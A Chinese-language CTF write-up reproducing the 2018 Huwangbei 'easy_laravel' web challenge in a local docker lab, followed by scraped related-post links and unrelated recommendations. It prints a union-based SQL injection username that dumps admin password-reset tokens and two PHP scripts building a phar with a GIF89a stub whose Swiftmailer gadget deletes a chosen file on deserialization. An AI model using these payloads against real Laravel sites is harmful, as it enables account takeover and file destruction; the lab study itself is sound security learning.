2018护网杯-easy_laravel 复现
题目docker环境:
https://github.com/sco4x0/huwangbei2018_easy_laravel
git clone下来直接composer up -d 运行即可,可以把端口映射改为8080:80
使用 docker exec -it 容器name bash就可以交互式地进入容器进行操作

开始做题:
首先F12查看源码发现源代码路径:

但是现在复现的时候已经关闭了,从github上题目源码中直接把源码拷过来吧。
遇到有composer.json的题目,首先composer install安装一下相关的包依赖,这里首先需要本机已经安装composer,没有安装的则:
http://www.runoob.com/w3cnote/composer-install-and-usage.html //composer的安装步骤
安装完以后按道理可以执行composer install进行安装了,但是连接超时,此时我尝试了挂上代理去执行试试,结合shadowsocks+proxychains
sslocal -c /etc/shadowsocks/config.json &>
本地开启ss客户端,配置1080端口的socks5代理,然后执行
proxychains composer install
此时安装成功包依赖,权限问题的话记得sudo一下
如果遇到问题:
Your requirements could not be resolved to an installable set of packages //执行下一条即可
composer install --ignore-platform-reqs
安装完成后就可以看到vendor目录了,




此时可以进行代码审计了。
此时可以先使用php artisan route:list查看一下已经定义的路由


也可以在routers/web.php里面进行查看,这里面定义了web访问的路由,其中admin中间件中定义email必须为admin@qvq.im,但是注册的时候这个邮箱显示已经被注册过了,所以

而根据database的目录中表名和字段名虽然能够dump出来,但是在注册时是经过bcrypt加密的,无法进行解密

database目录中包含了应用初始时的一些数据库相关信息,可以进行查看:



知道了邮箱,但是没有密码,但是有重置密码的功能,而密码重置需要用到token,因此尝试注入把token从migrations目录的password_reset定义的password_resets表中dump出来。
首先看看密码重置的控制逻辑:
首先根据路由规则:
$this->get('password/reset/{token}', 'Auth\ResetPasswordController@showResetForm');
先找到对应的控制器文件:

而在此控制器文件中又使用了 use Illuminate\Foundation\Auth\ResetsPasswords;
而ResetsPasswords是一个trait,其不能实例化,定义它的目的是为了进行代码复用,此时在这里方便在控制器类resetpassword中使用,又因为当访问
password/reset/{token}时会触发Auth\ResetPasswordController@showResetForm,显示重置密码的表单,那么我们需要去找到这个token从而去构造出这个重置密码的链接,此时就可以利用之前的sql注入
去dump出来重置以后的token,然后来进行登陆

使用以下语句注册作为用户名:
admin' union select 1,(select token from password_resets limit 0,1),3,4,5#
可以得到重置用户的token

此时可以拼接重置密码的链接得到重置密码页面:

然后使用重置的密码进行登陆:

可以看到有几个功能,点击flag,返回no flag
而路由中有Route::get('/flag', 'FlagController@showFlag')->name('flag');
此时将调用showflag

此时按道理应该直接返回flag,但是却没有正常返回
这里需要学习一下blade
Blade 是由 Laravel 提供的非常简单但功能强大的模板引擎,不同于其他流行的 PHP 模板引擎,Blade 在视图中并不约束你使用 PHP 原生代码。
所有的 Blade 视图最终都会被编译成原生 PHP 代码并缓存起来直到被修改,这意味着对应用的性能而言 Blade 基本上是零开销。
Blade 视图文件使用 .blade.php 文件扩展并存放在 resources/views 目录下。
这是因为模板编译后的文件没有删除而导致无法显示flag,因此需要删除编译后的模板文件,所以需要知道编译后的文件名:


编译后文件的路径由两部分构成第一部分是模板的绝对路径path,第二部分是是缓存路径,又因为缓存路径为/storage/framework/views/,
其中/usr/share/nginx/html/是nginx的默认web路径,由提示的得到,path为/usr/share/nginx/html/resources/views/auth/flag.blade.php的sha1值

即可以得到编译后的文件的路径:
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
此时需要删除掉此文件,然后访问flag,结合上传功能中的反序列化:

在上传中只检查了后缀名是否在白名单之内,不对内容进行检查,并且如果合法则存到app/public下面,并且在check中存在file_exists函数,并且path和filename都是可以控制的,因此可以phar反序列化

因此需要找到反序列化函数:

可以找到所有的含有__destruct的组件然后再在里面寻找是否含有unlink函数,这里采用Swift_ByteStream_TemporaryFileByteStream的析构函数中存在unlink方法
利用exp.php
<?php
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
*/
protected $sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $filters = [];
/**
* A buffer for writing.
*/
private $writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
/** The internal pointer offset */
private $_offset = 0; /** The path to the file */
private $_path; /** The mode this file is opened in for writing */
private $_mode; /** A lazy-loaded resource handle for reading the file */
private $_reader; /** A lazy-loaded resource handle for writing the file */
private $_writer; /** If magic_quotes_runtime is on, this will be true */
private $_quotes = false; /** If stream is seekable true/false, or null if not known */
private $_seekable = null; /**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb'; if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
} /**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>
在vendor下面有autoload.php文件,因此可以直接include此文件进行构造phar包,
采用exp
<?php
include('autoload.php');
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
var_dump(unserialize($a));
var_dump($a);
$a = preg_replace('/\/tmp\/FileByteStream[\w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); //将其换成要删除的文件名
$a = str_replace('s:25', 's:90', $a); //修改对应的序列化数据长度
var_dump($a);
$b = unserialize($a); $p = new Phar('./tr1ple.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('tr1ple.phar', 'tr1ple.gif')
?>
cli下面php.ini中的phar的read only要off,然后上传gif.在file界面点check再更改path路径就可以触发反序列化,path这里要用到绝对路径,并且存储的目录在storge/app/public下面



2018护网杯-easy_laravel 复现的更多相关文章
- [原题复现]2018护网杯(WEB)easy_tornado(模板注入)
简介 原题复现: 考察知识点:模板注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...
- 2018护网杯easy_tornado(SSTI tornado render模板注入)
考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...
- buu[护网杯 2018]easy_tornado
[护网杯 2018]easy_tornado 1.看看题目给了我们三个文件: /flag.txt url=?filename=/flag.txt&filehash=98c6aac4fbecf1 ...
- 护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~
护网杯预选赛 WP转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more WEB ...
- 2019护网杯baby_forensic
题目名称:baby_forensic题目描述:can you catch the flag?附件:“data.7z” 2019护网杯初赛的一道取证题,比赛时没做出来,赛后又研究了一下. 获取profi ...
- [护网杯2018] easy_laravel
前言 题目环境 buuoj 上的复现,和原版的题目不是完全一样.原题使用的是 nginx + mysql 而 buuoj 上的是 apache + sqlite composer 这是在 PHP5.3 ...
- 护网杯 three hit 复现(is_numeric引发的二次注入)
1.题目源码 https://github.com/ZhangAiQiang/three-hit 题目并不真的是当时源码,是我根据做法自己写的,虽然代码烂,但是还好能达到复现的目的 ,兄弟们star一 ...
- [护网杯 2018]easy_tornado 1
复现一道关于tornado的题目 首先可以得知此题用的是tornado,基于python的后端框架,多半是ssti注入 有三个文件,首先可得知flag在何处 然后观察hint和url就知道要根据coo ...
- [护网杯 2018]easy_tornado-1|SSTI注入
1.打开之后给出了三个连接,分别查看下三个连接内得信息,结果如下: 2.url中参数包含一个文件名与一串应该是md5得加密的字符串,文件名已经获得了,就需要获取加密得字符串,但是加密字符串时需要使用到 ...
随机推荐
- Skyline实现橡皮筋效果绘制矩形框
这种类似于框选的效果用的比较普遍,一般三维平台和GIS平台都提供了支持接口,可是Skyline就是这么傲娇! 思路是这样的:绘制出的矩形框应该是一直与屏幕边框平行的,也就是矩形框的实际旋转角度是等于摄 ...
- VS 关于无法打开项目文件,此安装不支持该项目类型的问题
用VS打开后有时会出现类似: 无法打开项目文件,此安装不支持该项目类型 的错误,这个错误一般都是由于用低版本VS打开高版本项目文件造成的 其中包括: 1.用VS2003 打开包括VS2005以上版本项 ...
- Learning Python 009 dict(字典)和 set
Python dict(字典)和 set dict (字典)是什么东西 dict全称dictionary.为什么这个数据结构取名叫dict.因为dict的实现原理和查字典是一样的.dict使用了键-值 ...
- 【Hadoop】hiveserver2 不能启动端口 10000 开启服务的相关经验总结
转载来自http://blog.csdn.net/lsttoy/article/details/53490144. 这个问题困扰了我三天,各种查资料踩坑填坑的尝试,终于搞定了这个问题. 首先来品尝下喜 ...
- 软件开发中对MVC的一些理解
接口隔离 通俗一点讲,接口隔离就是当一个类需要继承另一个类时, 如果被继承的类中有继承的类用不到的方法或者属性时,就不要去实现这个继承.如果真的情非得已必须要继承,那么也需要从被继承的类中再提取出一个 ...
- 《Linux内核设计与实现》读书笔记(二)- 内核开发的准备
在尝试内核开发之前,需要对内核有个整体的了解. 主要内容: 获取内核源码 内核源码的结构 编译内核的方法 内核开发的特点 1. 获取内核源码 内核是开源的,所有获取源码特别方便,参照以下的网址,可以通 ...
- C# 写 LeetCode easy #28 Implement strStr()
28.Implement strStr() Implement strStr(). Return the index of the first occurrence of needle in hays ...
- centos运行netcore error: Another program is already listening on a port that one of our HTTP servers is configured to use. Shut this program down first before starting supervisord.
Error: Another program is already listening on a port that one of our HTTP servers is configured to ...
- HTML 表单 / HTML5 表单元素datalist
<form> 属性的列表: 属性 描述 accept-charset 规定在被提交表单中使用的字符集(默认:页面字符集). action 规定向何处提交表单的地址(URL)(提交页面). ...
- Educational Codeforces Round 57D(DP,思维)
#include<bits/stdc++.h>using namespace std;char s[100007];long long a[100007];long long dp[100 ...